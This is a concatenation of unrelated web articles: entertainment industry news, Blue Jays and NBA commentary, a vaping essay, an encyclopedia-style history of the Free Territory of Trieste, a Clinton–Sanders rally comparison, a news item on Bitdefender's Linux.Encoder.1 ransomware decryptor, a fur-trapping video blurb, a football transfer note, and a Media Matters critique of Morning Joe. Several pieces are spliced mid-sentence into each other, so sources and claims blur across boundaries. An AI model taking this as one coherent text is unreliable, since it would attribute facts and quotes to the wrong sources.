Among projects in development are an original one-hour TV series from Billy Lynn’s Long Halftime Walk author Ben Fountain and features including thriller The Line, which Vin Diesel’s One Race Films has been co-developing, Nazi-hunt thriller Hanns & Rudolph, adapted by Ronald Harwood, as well as le Carré novel adaptation A Delicate Truth, which Bill Monahan is adapting.
The company is expanding rapidly. Recent staff additions include former Cross Creek executive Becky Sloviter, who will serve as senior vice president of development and production based in LA, and former Ruby Films executive Mona Qureshi and former BBC drama executive Emma Broughton, who have joined as co-heads of development and production in London.
Jane Frazer will serve as head of physical production and former Arts Alliance exec Yogita Puri has joined as head of commercial and business affairs.
The first two episodes of The Night Manager screen in Berlin on Thursday 18th as part of the Berlinale Special Series strand. BBC One will air the first episode on Feb 21, AMC will air in the US on April 19.TORONTO, Ont. – The Toronto Blue Jays opened the month of June by completing their first sweep of the season with a shutout win over the New York Yankees. The 7-0 whitewash wrapped up a very impressive 5-1 homestand and was the Jays’ tenth victory in their last 13 games, pushing the team three games over.500 for the first time this season.
A major-league baseball season is usually played out over six months, from the beginning of April to the end of September, though it’s not always so neat and tidy. But in the case of the 2016 Blue Jays, it pretty much is. They played exactly one-third of their schedule over the season’s first two months, opening the second third with Wednesday night’s win. Barring any postponements, the final third of the Jays’ season is set to begin on July 31st – trade deadline day – when they host the Baltimore Orioles to wrap up a nine-game homestand.
The Blue Jays wound up 28-26 over the first third of the season despite separate 1-6, 1-5 and 2-5 runs, a drastically underperforming offence and a very shaky bullpen beyond Roberto Osuna and Rule 5 gem Joe Biagini. Their longest winning streak was four games and their longest losing streak was five. Over the season’s first 54 games, the Jays were within a game of the.500 mark – above or below – 32 times.
They also saw their divisional rivals a whole lot. The Jays opened the season in St. Petersburg against the Rays and closed the first third at home against the Yankees. In total, they’ve played 32 games against their American League East foes, going 17-15, paced by their 7-2 mark against the Bronx Not-So-Bombers.
The Jays have already played half their season series against the Red Sox (5-5), Rays (4-6) and Yankees and will only see those teams for one series each until September – the meeting with the Red Sox beginning Friday night at Fenway. They’ll get a healthy dose of the Orioles, though, hooking up with the black and orange birds six times between June 9th and 19th. The O’s have played.500 ball since starting the season with seven straight wins, despite having another seven-game win streak mixed in in early May.
What’s in store for the Blue Jays as they move into third number two? Bullpen help, one hopes.
Jason Grilli made his Jays’ debut Wednesday night and, despite making an error before throwing his first pitch, got a huge out in a high-leverage situation, stranding a pair of inherited runners and maintaining the two-run lead he was brought in to protect. If Grilli can be a solid contributor – he doesn’t have to be the all-star he was in 2013, just the guy he was for the Braves last season – that would give Toronto’s much-maligned relief corps a healthy boost.
So would the return of Brett Cecil, who threw all of one inning in May before being placed on the disabled list with a triceps injury that should keep him out of action for at least another two weeks. Cecil had a rough time in April, with three blown saves and five losses, but his post-April numbers over the past three years are extremely strong – a 2.51 ERA, 1.10 WHIP and 11.5 strikeouts per nine innings. A healthy Cecil should be a massive weapon once he returns.
Jesse Chavez had a very encouraging outing in his last appearance, but he still has a long way to go. Aaron Loup did give up a mammoth two-run homer to lefty Brian McCann on Monday night, but his outings on either side of that were perfect, and don’t look now, but Drew Storen was scored upon in only two of his 11 sorties in May, with 12 strikeouts in 9.1 innings. He has a long way to go too, but could be coming around.
Through their first third of the season, the 2016 Blue Jays were four games better than last year’s eventual A.L. East Champions, though the 2015 club opened their second third with ten straight wins after a big victory in game number 54.
Obviously, the Blue Jays improved drastically at the trade deadline last season, but some of those major improvements are still in place. They needed defence at shortstop, they have that now. They needed a real left-fielder. Check. They needed bullpen help. They’ll probably still need some of that this year, but relievers don’t cost much. Grilli came over for nothing, as did Mark Lowe last July. And LaTroy Hawkins was a throw-in in the Troy Tulowitzki trade. Last year, they got a boost when Aaron Sanchez moved into the bullpen. The same thing will happen this year.
Oh, and there was that whole David Price thing. Well, this year’s J.A. Happ is filling that role rather nicely so far, which is huge for the Jays because they were only counting on him to be their fourth starter. It was Marcus Stroman who was tabbed to carry Price’s load, and though Stroman has struggled lately, there’s no question that he has the stuff and the command to be a big piece. Even if he isn’t, though, he’ll fit in nicely behind Happ and Marco Estrada, both of whom have been incredible to start the season.
Of course, R.A. Dickey is due for his annual correction, as well. Over his Blue Jays career, the knuckleballer has posted a 3.42 ERA and 1.150 WHIP from June on, and the Jays have won 57.8 per cent of his post-May starts since he arrived – a pace that translates to 94 wins over a full season. He’s coming off a better start to the season than usual, too. Dickey’s 4.64 ERA and 1.318 WHIP far this season are better than the 4.95 and 1.384 he’d racked up over April and May the previous three years.
There’s an old adage that the first two months of a season are for evaluating, the next two are for fixing and the last two are for winning. That formula sort of held true for the 2015 Blue Jays (the fixing didn’t happen until the last week of July) but, barring significant injuries, the 2016 version doesn’t need the radical mid-stream reconstruction that last year’s squad did.
Over the first two months of this season, the Blue Jays’ starting pitching overperformed and the offence disappointed. The bats have started to come around over this recent streak – there have been late-inning rallies against Craig Kimbrel, Dellin Betances and Aroldis Chapman, some of the best bullpen arms in the business. The Jays have scored seven runs or more in four of their last eight games after doing so only five times in their first 47. They’re 10-3 since Jose Bautista moved into the leadoff spot and 7-1 since Devon Travis was activated off the disabled list.
There were some big-time bumps along the way, to be sure, and by no means are they out of the woods, but the Blue Jays have moved into the season’s second third playing their best baseball yet.If any James Harden fans are still looking for a way to convince James Harden haters that the Rockets’ shooting guard and MVP runner-up is in fact a legitimate superstar and not the NBA equivalent of a Mortal Kombat spammer, they need look no further than last night’s Game 1 against the Warriors.
The Rockets blew a 16-point lead in the first half and eventually lost 110-106, and the only reason the game wasn’t put to bed by the middle of the third quarter was James Harden. His 28-9-11 line looks great in any context, but there was a brief stretch during which Harden’s game went from “solid playoff performance” to “transcendent ass-kicking.”
With just over 30 seconds remaining in the third quarter, Harden made a strong drive to the hoop and dropped in a nifty layup. With 5:30 left in the fourth quarter, Harden unleashed his cruel first step to blow by Klay Thompson on the wing, stopped on a dime at the free-throw line, and dropped a pull-up jumper right in Thompson’s eye. That shot capped off a seven-minute stretch in which Harden scored 14 points on nine shots, and he didn’t go to the free-throw line once. It was seven solid minutes of Harden going one-on-five, and it was some of the best fuck-you, superstar basketball you’ll ever see.
Look at those damn shots, man. All of them were built off the barely perceptible muscle twitches and instant calculations that make Harden one of the deadliest isolation players in the league. This is the non-loathsome version of Harden that we told you about yesterday, the one who gives up on drawing fouls for a while and instead spends half a quarter turning defenders into cats trying to pounce on a laser point.
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This doesn’t mean that the annoying parts of Harden’s game weren’t present last night, too. He tried a few of his patented, foul-hunting drives to the rim in the first half, but the refs refused to indulge him and those came up empty. Maybe he’ll get those calls in Game 2, and you’ll feel miserable watching him score 40 on a foundation of 17 free throws. If that happens, just relax and try to remember how much fun you had watching him last night.Dismissing e-cigarettes as ‘uncool’ ignores the health benefits the devices offer to legions of smokers
Cards on the table: I don’t hate smoking. Never have. Likely never will. I know tobacco was killing me, destroying my lungs and turning too much of my hard-earned money into so much smoke. All true.
But still, I loved smoking. I loved the taste. I loved the excuse it gave me to step away from whatever work I was doing. I loved the burn at the back of my throat and the warm feeling of fullness in my lungs.
I know smoking is a filthy, dangerous habit. By extension, many people feel it’s perfectly OK to label smokers themselves as filthy people.
Let’s not forget, it might be easy to dismiss smokers as weak souls with little to no self-control, but nicotine is addictive stuff when inhaled. Smokers are drug addicts. There’s no two ways about it.
I know the dangers, but still, for me, the act of inhaling a vaporous substance into my lungs and exhaling a cloud of smoke like a dragon is incredibly pleasurable.
That said, I knew I had to quit. I hated the way I smelled. I hated that my kids hated it. I hated the damage I was doing to my body and my finances. But I was still reluctant to quit. I’d tried several times and it was a torturous experience, for me and everyone around me.
Then, I heard about vaping.
Today’s e-cigarette was invented by Chinese pharmacist Hon Lik and patented by him in 2003. It’s a relatively simple concept: A battery (the mod) sends an electric impulse to a coil that atomizes a solution (e-juice) into a vapour that is inhaled through a mouthpiece
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, including one for Trieste with a blue background (the United Nations' official color).
In 1921, after World War I, Italy annexed Trieste, Istria and part of modern-day western Slovenia, establishing the border region known as the Julian March (Venezia Giulia). In 1924, Italy annexed the Free State of Fiume, now the city of Rijeka in Croatia.
During the 1920s and 1930s, the Slavic population was subjected to forced Italianization and discrimination under the Italian fascist regime. They were also exposed to state violence by fascist party mobs, including the burning of the Slovene National Hall in Trieste on 13 July 1920, and also in other towns and villages. A few Slovenes and Croats consequentially emigrated to Yugoslavia, while some joined the TIGR resistance organization, whose methods included more than 100 acts of terrorism, mostly against the exponents of the Italian authorities in the region (especially in the provinces of Trieste and Gorizia).
World War II [ edit ]
Italy fought with the Axis powers in World War II. When the Fascist regime collapsed in 1943 and Italy capitulated, the territory was occupied by German forces who created the Operational Zone of the Adriatic Littoral, the capital of which was Trieste. The Yugoslav 4th Army and the Slovenian 9th Corps entered Trieste on 1 May 1945, after a battle in the town of Opicina. The 2nd Division (New Zealand) arrived on the next day and forced the surrender of the 2,000 German Army troops holding out in Trieste, who warily had refused to capitulate to partisan troops, fearing they would be executed by them. An uneasy truce developed between New Zealand and Yugoslav troops occupying the area until British Gen. Sir William Morgan proposed a partition of the territory and the removal of Yugoslav troops from the area occupied by the Allies. Yugoslav leader Josip Broz Tito agreed in principle on 23 May, as the British XIII Corps was moving forward to the proposed demarcation line. An agreement was signed in Duino on 10 June, creating the Morgan Line. The Yugoslav troops withdrew by 12 June 1945.[5][6]
Establishment of the territory and Provisional Government [ edit ]
A postage stamp for Zone B of the Free Territory, 1948.
In January 1947, the United Nations Security Council approved Resolution 16 under Article 24 of its charter calling for the creation of a free state in Trieste and the region surrounding it. A permanent statute codifying its provisions was to become recognized under international law upon the appointment of an international governor approved by the Quatripartite Powers. On 15 September 1947, the peace treaty between the United Nations and Italy was ratified, establishing the Free Territory of Trieste. Official languages were Italian and Slovene, possibly with the use of Serbo-Croatian in the portion of Zone B south of the Dragonja river. However, the territory never received its planned self-government and it was maintained under military occupation respecting the administrative division into two zones as decided by the Morgan Line: Zone A, which was 222.5 square kilometres (85.9 sq mi) and had 262,406 residents including Trieste, was administered by British and American forces, while Zone B, which was 515.5 square kilometres (199.0 sq mi) with 71,000 residents including north-western Istria, was administered by the Yugoslav National Army.
Cyclists from Trieste during the 1950 Peace Race, sponsored by communist governments in East Europe (hence the Stalin portrait in the background). There had never been an official Triestine team, since almost all Triestine athletes continued to be on Italian teams, as in the cases of the boxers Duilio Loi and Tiberio Mitri, cyclist Guido De Santi, and fencer Irene Camber
Between October 1947 and March 1948, the Soviet Union rejected the candidacy of 12 nominations for governor, at which point the Tripartite Powers (United States, United Kingdom, and France) issued a note to the Soviet and Yugoslav governments on 20 March 1948 recommending that the territory be returned to Italian sovereignty. No governor was ever appointed under the terms of the UN Resolution. The Territory thus never functioned as a real independent state, although its formal status was generally respected and it was involved in the European Recovery Plan (ERP) and in many international organizations (OEEC).[7] The B zone even issued its own postage stamps. The break between the Tito government and the USSR in mid-1948 resulted in the proposal to return the territory to Italy being suspended until 1954.
Special applied visa for the Free City of Trieste, issued by the British consular section at Haifa in 1951.
The Allied Military Government administered Zone A, which was divided into peacekeeping and law enforcement sectors protected by a command of 5,000 Americans ("TRUST", the TRieste United States Troops) and 5,000 British in "BETFOR" (British Element Trieste FORce), each comprising a brigade-sized infantry force and complete support units (signals, engineers, military police, etc.)
According to the estimates published by the Allied Military Government, as of 1949 in the A zone there were about 310,000 inhabitants,[8] including 239,200 Italians and 63,000 Slovenes. According to contemporary Italian sources, in zone B there were 36,000-55,000 Italians and 12,000-17,000 Slovenes and Croats. According to the Yugoslav census of 1945, which was considered falsified by the Quadripartite Commission set up by the United Nations,[9] in the part of Istria which was to become Zone B there were 67,461 inhabitants, including 30,789 Slovenes, Serbs and Croats, 29,672 Italians, and 7,000 people of unidentified nationality. Elections were held twice, in 1949 and 1952, but only for municipal councils, never for the FTT People's Assembly (FTT legislature).
Dissolution [ edit ]
On 5 October 1954, the London Memorandum was signed in the British capital by ministers of the United States, United Kingdom, Italy, and Yugoslavia. It gave the former Zone A with Trieste to Italy for ordinary civil administration, and Zone B, which had already had a communist government since 1947, to Yugoslavia. In addition, Yugoslavia was given several villages in the municipality of Muggia that had been part of Zone A: Plavje, Spodnje Škofije, Elerji, Hrvatini, Kolomban, Cerej, Premančan, and Barizoni. The castle and village of Socerb above San Dorligo della Valle was also ceded to Yugoslav administration, according to the demarcation line defined by Annex I to the London Memorandum.
In 1975 the bilateral Treaty of Osimo was signed in Osimo and ratified two years later, definitively stopping respective claims over the former Free Territory of Trieste by Italy and Yugoslavia, as the London Memorandum only disestablished the territory de facto, but not de jure.[10]
Governors of the Territory [ edit ]
Zone A [ edit ]
Military commander [ edit ]
Zone B [ edit ]
Military commander [ edit ]
Governor In office Country Dušan Kveder * 1 May 1945 – September 1947 Yugoslavia Mirko Lenac 15 September 1947 – March 1951 Miloš Stamatović March 1951 – 25 October 1954
*Governors of all Julian March prior to the establishment of the Territory.[11]
Economics [ edit ]
The economy of the area formerly part of the territory is based on its ports, namely the Free Port of Trieste and the Port of Koper/Capodistria. The first has a peculiar free zone (nowadays also offshore) status originated in 1719[12] and confirmed by the Treaty of Peace with Italy of 1947, which allows the transportation of goods inside the area. This status is recognised by the international community and the European Union.[13][14]
An extract from the answer given by Algirdas Šemeta on 7 August 2012, on behalf of the European Commission about the Free Port of Trieste:[13]
Annex VIII to the Treaty of peace with Italy of 10 February 1947 stipulates in its Article 1 that the port of Trieste shall be a customs free port. Article 5(2) of Annex VIII provides that in connection with importation into or exportation from or transit through the Free Port, the authorities of the Free Territory shall not levy on such goods customs duties or charges other than those levied for services rendered.[13] [emphasis added]
The port economy is suffering from poor railway connections due to high tariffs and from the lack of a modernized infrastructure.[15] The "Galleria di cintura" railway between the new and the old parts of the Port of Trieste were renovated and enlarged in 2010,[16] yet it remains largely unused.
Demographics [ edit ]
During the late 1940s and in the years following the division of the Territory, up to 40,000 people[17] (mostly Italians) chose to leave the Yugoslav B zone and move to the A zone or Italy for various reasons: Some were intimidated into leaving, and some simply preferred not to live in Yugoslavia. In Yugoslavia, the people who left were called optanti ("choosing"), while they call themselves esuli ("exiles"). About 14,000 Italians chose to remain in the Yugoslav zone, currently divided between Slovenia and Croatia.
The population of the Free Territory of Trieste amounted to approximately 370,000 inhabitants in 1949.
See also [ edit ]
References [ edit ]
Coordinates:Hillary Clinton and Bernie Sanders both touched down for rallies in Dubuque on Friday afternoon, circling each other like wary boxers before a round.
They held events at different times and were likely not in the city at the same time. Each rally was characteristic of its candidate. Clinton gave a highly detailed policy speech, attacked Republicans repeatedly and tied herself close to President Obama’s records. Sanders delivered a stemwinder on the progress America has made and outlined his moral indignation on wealth inequality, corporate influence and expensive colleges.
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Even while the candidates’ aides bicker on the sidelines, Clinton and Sanders have both largely avoided hammering each other in speeches, signaling a break in tone from the last couple weeks when Sanders criticized Clinton for taking Goldman Sachs’ cash and Clinton suggested Sanders would make a feckless president. Their criticisms of one another were subtle and tame, with just days before the Iowa caucuses.
Below are many of the aspects of what the candidates did on Friday, each chosen to reveal something about the candidate’s starategy or message.
Backdrop
Clinton: Barn-sized American flag. (Clinton staffer: “Do you think it’s big enough?”)
Sanders: A FUTURE TO BELIEVE IN (berniesanders.com)
Crowd Size
Clinton: 450
Sanders: 1,300
Soundtrack
Clinton: Katy Perry, Jennifer Lopez, Pharrell Williams, Taylor Swift, Kelly Clarkson
Sanders: Simon and Garfunkel, Willie Nelson, Bob Marley, The Supremes, John Lennon, Neil Young
Read More: Follow Clinton and Sanders Supporters as They Knock on Doors in New Hampshire
Pre-rally cheers
Clinton: None
Sanders: “Feel the Bern!”
Length of speech
Clinton: 45 minutes
Sanders: 81 minutes
Ties to Barack Obama
Clinton: “When President Obama was elected, he called me to Chicago, I didn’t know why but it was because he wanted me to be Secretary of State. But before that, he looked at me and said, ‘It is so much worse than they told us … He inherited that … We made progress!”
Sanders: Praise of his election as first black president.
Homage to Iowa
Clinton: “You guys have been the best possible sounding boards.”
Sanders: “Eight years ago just at this time almost today, a candidate came to a virtually all state and that candidate ran for president of the United States based on his ideas. Obama came in to the state of Iowa, virtually all-white state … he won here you helped make him president … What Iowa showed the world is that the people of this state were prepared to vote for candidate based on his ideas, and not his race.”
Praise of Bill Clinton
Clinton: “When we have a Democrat in the White House the economy does better. I know the last two Democratic presidents we’ve had … [My husband] got to work and he added it up and we ended up with 23 million new jobs and that wasn’t the best of it: incomes went up for everybody
Sanders: None.
Funniest Lines:
Clinton: “Gosh, [In 2000] we went off and we elected another Republicans—no, the Supreme Court went out and elected a Republican!”
Sanders: “If we were in this room 10 years ago, and somebody said, ‘I think in the year 2015, gay couples will have the right to marry in 50 states in this country,’ somebody would look up and say, “What are you smoking?”
[Applause. Long pause.]
“Which actually raises another issue!”
Best Humblebrag
Clinton: “Before it was Obamacare, it was Hillary-care.”
Sanders: “Nobdoy in America knew who I was, that was a problem.”
Best Crowd-Pleasing Line
Clinton: Johnson Controls company, which recently moved overseas, “can pretend they’re now a European company so they can avoid paying taxes to the United States government which saved them in 2008! That is absolutely un-American. That is wrong. This is one of those tax gimmicks they call an “IN-version.” Honestly, it should be called a ‘PER-version.’”
Sanders: “Not one executive on Wall Street ever been prosecuted…. Together, you and I are going to restore faith and bring justice to the criminal justice system. No matter how high and matter no matter how rich and powerful, if somebody breaks the law, they’re gonna pay for it.”
Not-So-Subtle attack against the other
Clinton: “I’d rather under-promise and over-deliver.”
Sanders: “We do not represent the billionaire class, the drug companies, Wall Street, we don’t want their money and we are not going to have a super PAC. I am the only Democratic candidate for president who does not have a super PAC, who does not go to the wallets of investment bankers in order to raise campaign funds.”
Trademark gesticulation
Clinton: The vigorous yet controlled point.
Sanders: Right arm extended perpendicular to the body, thumb and two fingers held together chopstick-style, tapping rapidly on the air.
Time shaking hands at rope line
Clinton: 39 minutes
Sanders: 6 minutes
What fans said
Clinton: “How anyone can even think of going with anybody else doesn’t make any sense. Bernie is good, but Hillary has so much more experience.” — Carma Homjak, Dubuque
Sanders: “Hillary personifies the corporate establishment. She’s a shill for Wall Street. A person like Bernie, people like him because he’s not bought and paid-for.” — Julius Sheppard
Contact us at [email protected] of Web servers that were infected with a recently released ransomware program for Linux are in luck: There's now a free tool that can decrypt their files.
The tool was created by malware researchers from antivirus firm Bitdefender, who found a major flaw in how the Linux.Encoder.1 ransomware uses encryption.
The program makes files unreadable by using the Advanced Encryption Standard (AES), which uses the same key for both the encryption and decryption operations. The AES key is then encrypted too by using RSA, an asymmetric encryption algorithm.
The RSA algorithm uses a public and private key pair instead of a single key. The public key is used to encrypt data and the private key is used to decrypt it. In the case of Linux.Encoder.1, the RSA public-private key pair is generated on the attackers' servers and only the public key is sent to infected systems and used to encrypt the AES key.
If implemented correctly this process would make it impossible for anyone to decrypt the files without the RSA private key retained by the attackers. However, the Bitdefender researchers discovered that when it generates the AES keys, the malicious program uses a weak source of random data -- the time and date at the moment of encryption.
This time stamp is easy to determine by looking at when the AES key files were created on disk. Therefore, researchers are able to reverse the process and recover the AES keys without needing to decrypt them, making the RSA public and private keys pointless.
The tool created and released by Bitdefender is a script written in Python that determines the initialization vectors and AES encryption keys by analyzing the files encrypted by the ransomware program. It then decrypts the files and fixes their permissions on the system.
"If you can boot your compromised operating system, download the script and run it under the root user," the Bitdefender researchers said in a blog post that also contains detailed instructions on how to use the tool.
This is not the first time ransomware authors have made errors in their implementation of encryption algorithms, allowing researchers to recover affected files. However, based on past incidents, once these errors become known, they get fixed in new versions of the malware programs.
It's safe to assume that we'll soon see a new Linux.Encoder variant that doesn't make the same mistake, or entirely new ransomware programs that target Linux systems. Mac OS X is not immune to this type of threat either, as a security researcher recently demonstrated with a proof of concept.CANADIANA is our new show where we explore the further reaches of our home and native land to find the strange and fascinating stories that make this country unique.
For nearly 250 years, the Canada's fur trade was a thriving industry that played a major role in the creation of the country.
After decades of suffering from an anti-fur image problem, Canada's fur trade has found a new market: Thanks to China's booming middle class and Russia's luxury-starved oligarchy, the industry that founded the nation is on a comeback.
In the first episode of our new series CANADIANA, VICE travelled to the Northwest Territories to meet a modern day fur trapper—Andrew Stanley, the Metis YouTube star who's become the unlikely ambassador of Canada's trapping world.
We visit Andrew's remote cabin in the northern wilderness to go full tilt into the Canadian trap life—trapping beavers, skinning an otter, and learning the best way to deal with two frozen 160-pound wolves infected with mange.Samuel Eto’o is on the brink of a two year deal move to Goodison Park.
The permanent transfer should be wrapped up this week in time for Eto’o to be eligible – yet unlikely – to play against former club Chelsea.
Once sealed it will complete quite a coup for the blues to sign a player widely regarded as one of the best strikers in the world, yet obviously those days are numbered with the Cameroon international being 33 years of age.
There had been speculation about who Everton would bring in and manager Roberto Martinez had been coy on the weekend about who his preference for striking cover would be but it would seem the free agent was won the nod.
The signing will reduce some fan anxiety about Everton’s striking options and hopefully be a springboard for more positive results after two disappointing draws at the beginning of the season that Everton should have won.
Still, Lukaku and Eto’o up front is not a strikeforce to be sniffed at, and be welcomed by most fans. Eto’o will be keen to further improve his striking prowess by hooking up and learning from Steven Naismith.Joe Scarborough and Mika Brzezinski, co-hosts of MSNBC’s Morning Joe, have met privately with Donald Trump while Scarborough is reportedly advising the president-elect, yet both still reject media criticism of their overly positive coverage of the former reality show celebrity. On the November 29 edition of Morning Joe alone, the hosts carried water for President-elect Trump on five separate topics, including criticizing journalists for scrutinizing his extensive conflicts of interest and reporting on Pro-Trump “fake news.”
Morning Joe Hosts Scarborough And Brzezinski Have Repeatedly Met Privately With Trump
Mika Brzezinski “Spoke To Members Of The [Trump] Family” And Was Seen Entering Trump Tower For A “Meeting.” Morning Joe co-host Mika Brzezinski said on the November 29 edition of Morning Joe that she has “spoken to members of the [Trump] family.” That same day she was seen entering Trump Tower and “said she had a ‘meeting’” which, according to reports, was with Ivanka Trump. [MSNBC, Morning Joe, 11/29/16, Twitter, 11/29/16, Twitter, 11/29/16]
Scarborough Confirmed He Has Discussed The Presidential Transition With Trump Amid Reports That He Is An Advisor. On November 28, Morning Joe co-host Joe Scarborough recounted a conversation he had with President-elect Donald Trump on his cabinet picks amid reports that he is advising Trump. On November 19, The New York Times reported that Trump “still maintains the routine that sustained him during the campaign,” which includes “often seek[ing] out” advice from Scarborough. CNN media reporter Brian Stelter referenced the Times report on the November 20 edition of CNN’s Reliable Sources, stating that Scarborough "has been giving Trump advice.” [Media Matters, 11/28/16]
Media Matters Has Called On MSNBC To Address Reports That Scarborough Is Advising Trump, Which Compromises The Network’s Journalistic Integrity. On November 21, Media Matters wrote that “MSNBC must address recent reports that President-elect Donald Trump ‘often seeks out’ political advice from network host Joe Scarborough. If true, the reports call into question Morning Joe’s Trump coverage and present an ethical dilemma for the network.” [Media Matters, 11/21/16]
Scarborough And Brzezinski Have Defended Their Treatment Of Trump, Lashing Out At Critics Who Highlight Their Favorable Coverage
NBC's Pollster: Morning Joe "Created" Trump. Peter Hart, chairman of one of the research firms that provides polls for NBC News and The Wall Street Journal, used Morning Joe as an example of how the media fostered Trump as a viable general election candidate. Hart noted that the MSNBC show “created” Trump “and then essentially, he turned on them." From the October 19 discussion at Harvard Kennedy School's Shorenstein Center on Media, Politics, and Public Policy:
NICCO MELE (HOST): How you do understand the role of the media in this election cycle? [...] PETER HART: I think the one thing we can all agree on is, ratings have driven this. I mean, Donald Trump has been a magnet, I mean, in that you can put him on anytime, anywhere and bingo. I love sort of the Morning Joe element. You know, they created him, and then essentially, he turned on them, and they turned on him, and you know, you have all of this. But I guarantee you that the number of hours that Donald Trump has gotten -- I mean, if today Donald Trump got a true influenza and could not appear, and he said, "Mike Pence will appear in my place," the audience would drop by three quarters. [Media Matters, 10/21/16]
On CNN’s Reliable Sources, Brian Stelter and Media Critic David Zurawik Criticized Scarborough's “Very Cozy” And “Inappropriate” Relationship With Donald Trump. On the February 14 edition of CNN’s Reliable Sources, host Brian Stelter said that “what we see sometimes on-air is a very cozy relationship between [Trump and Scarborough], and in fact I've seen the name "Morning Trump" being used to describe Morning Joe recently.” Baltimore Sun media critic David Zurawik added that Scarborough’s relationship with Trump was “inappropriate” and that “even somebody like a morning show host plays a role... in setting the parameters of the national conversation around these candidates” and “shouldn't be so involved with them that you're going down and giving them tips.” [CNN, Reliable Sources, 2/14/16]
Joe Scarborough Lashed Out At Critics Over Suggestions That Morning Joe Is Biased Toward Trump. Morning Joe co-host Joe Scarborough lashed out in response to criticism that he and his MSNBC show have been overly supportive of President-elect Donald Trump, calling critical journalists “disgusting.” [Media Matters, 11/4/16]
Morning Joe Devolves Into Screaming Match After Bill Kristol Calls Out Hosts For "Rewriting History" On The Show's Positive Trump Coverage. After conservative writer Bill Kristol said on Morning Joe that the hosts were “rewriting history” by “pretend[ing]” that they were tough on Trump, the segment turned into a screaming match. Scarborough accused Kristol of lying and mocked him, saying, “you’re practically crying.” [MSNBC, Morning Joe, 10/20/16]
But In Just One Show, The Morning Joe Hosts Defended Trump’s Questionable Business Dealings, Unconstitutional Proposals, And Bigoted Cabinet Picks
Brzezinski Criticized The Media For Scrutinizing The Trump Family, Downplaying Concerns Over Their Worldwide Business Dealings And Extensive Conflicts Of Interest. Brzezinski, noting that she’s “spoken to the members of the [Trump] family,” claimed that Trump and his family are “literally just trying to get through the day” and “don’t care what people think.” She added that “the media needs to stop getting ahead of their skis” on issues like Ivanka Trump sitting in on a meeting with the prime minister of Japan and “whether the business interests are crisscrossing” with Trump’s role and activities as president-elect, concluding, “there’s no big story … until we know what it is.” From the November 29 edition of Morning Joe:
MIKA BRZEZINSKI (CO-HOST): So, again, to finish the point about leaving people guessing, every move that they’re making right now, and just what I was trying to say is, they don't care about a big reaction. The Trumps are used to a big life. You know, this move into the White House, everybody talking about Melania waiting to leave, like, “Oh my God, who could do that? Who in history has ever done that?” They’re used to, quite frankly, handling a very big existence, and they are trying to figure it out for themselves. The meeting with the leader of Japan, everybody second guessing whether the business interests are crisscrossing -- I’ve spoken to the members of the family, they’re literally just trying to get through the day. They don't care what people think. They’re trying to figure this out. And I just think the media needs to stop getting ahead of their skis on all of this, because we are dealing with something that we’ve never seen before, and so we have to just report on it until we can figure it out. There's no big story here in terms of the Kellyanne [Conway] thing, and there’s no big story in terms of anything else until we know what it is. [MSNBC, Morning Joe, 11/29/16]
Scarborough Mocks Concern Over “Fake News,” A Spreading Problem That Reportedly Helped Trump Win The Election. Scarborough attacked reporting on “fake news” -- social media content that is entirely fabricated but is presented as real news, and which is entirely distinct from reporting by legitimate news organizations that seeks to present and analyze facts to accurately inform their consumers. Scarborough misrepresented what fake news is, instead claiming fake news was the reporting from legitimate news organizations during the campaign that suggested Trump was not winning. In fact, BuzzFeed News found that fake news outperformed real news in the final three months of the election, and Facebook CEO Mark Zuckerberg acknowledged the problem and committed to taking action. From the November 29 edition of Morning Joe:
MIKE BARNICLE: There’s a reason why people are going to Facebook for news, unfortunately. I really regret saying that, but you can't ignore the facts. JOE SCARBOROUGH (CO-HOST): And Willie, how silly does the media look after the election talking about all these stories about fake news on Facebook, which drive me crazy -- MIKA BRZEZINSKI (CO-HOST): And doing a cross-country tour on how they got it wrong. SCARBOROUGH: Despite the fact that, for most of America, the mainstream media has been reporting fake news over the past year and a half, because they have read every single day, “Donald Trump can't win.” The best and the brightest in the media profession, “Donald Trump can't win, he’s got a one percent chance of winning the nomination” -- BRZEZINSKI: “There’s no way.” SCARBOROUGH: “Donald Trump can't win, he’s got a five percent peak, he can't get above 20 percent. Donald Trump can't win because of this. Donald Trump can't win because of that.” Now, that's the message they have read every day and seen on TV every day from the mainstream media, and to them, going up, following up on Mike’s point, that looks like fake news because it was fake news. They were wrong from the beginning. Their assumptions were wrong from the very beginning, and their assumptions polluted their reporting. [MSNBC, Morning Joe, 11/29/16; Media Matters, 11/19/16]
Scarborough Cherry-Picked Trump’s Cabinet-Level Picks To Claim Trump “Has Gone Very Mainstream Republican.” Scarborough insisted Trump “has gone very mainstream Republican” with his choices for cabinet and cabinet-level positions in his administration, pointing to Rep. Tom Price (R-GA), Rep. Mike Pompeo (R-KS), and Gen. James Mattis. But Scarborough did not mention Trump’s other picks, some of whom are far outside the mainstream, which would have undermined his point. For example, Trump has also tapped Sen. Jeff Sessions (R-AL), who was rejected from a judgeship for racist comments in the 1980s and was positively called “an aggressive anti-black racist” by a white nationalist website; Lt. Gen. Mike Flynn, who has a history of anti-Muslim positions and statements; and Stephen Bannon, who ran the anti-Semitic white nationalist website Breitbart.com. From the November 29 edition of Morning Joe:
JOE SCARBOROUGH (CO-HOST): Let's look at these picks so far. You’ve got a lot of never Trumpers, a lot of people in the conservative intelligentsia who have been really shocked by picks. [Rep. Tom] Price [(R-GA)], they’re going to like Price. [Rep. Mike] Pompeo [(R-KS)], they’re going to like Pompeo. [Gen. James] Mattis, most -- that's who Bill Kristol was trying to get to run for president. Donald Trump has gone very mainstream Republican, going into some of the territory of the very people that were trying to stop him the most. [MSNBC, Morning Joe, 11/29/16; Media Matters, 11/18/16, 11/18/16, 11/14/16]
Scarborough Falsely Claimed Trump Doesn’t Support A Ban On Muslims Entering The Country, Even Though The Proposal Is Still On Trump’s Website. Scarborough argued that Trump has “moved beyond” his proposal to ban Muslims from entering the country and that Trump actually wants to introduce “extreme vetting” for people who travel to the United States from Muslim countries. Trump has denied that he wants to introduce a Muslim ban, but the proposal to do so has been on his official website since December 2015. The webpage for the proposal was briefly redirected to another page on November 10, but was restored later that same day. From the November 29 edition of Morning Joe:
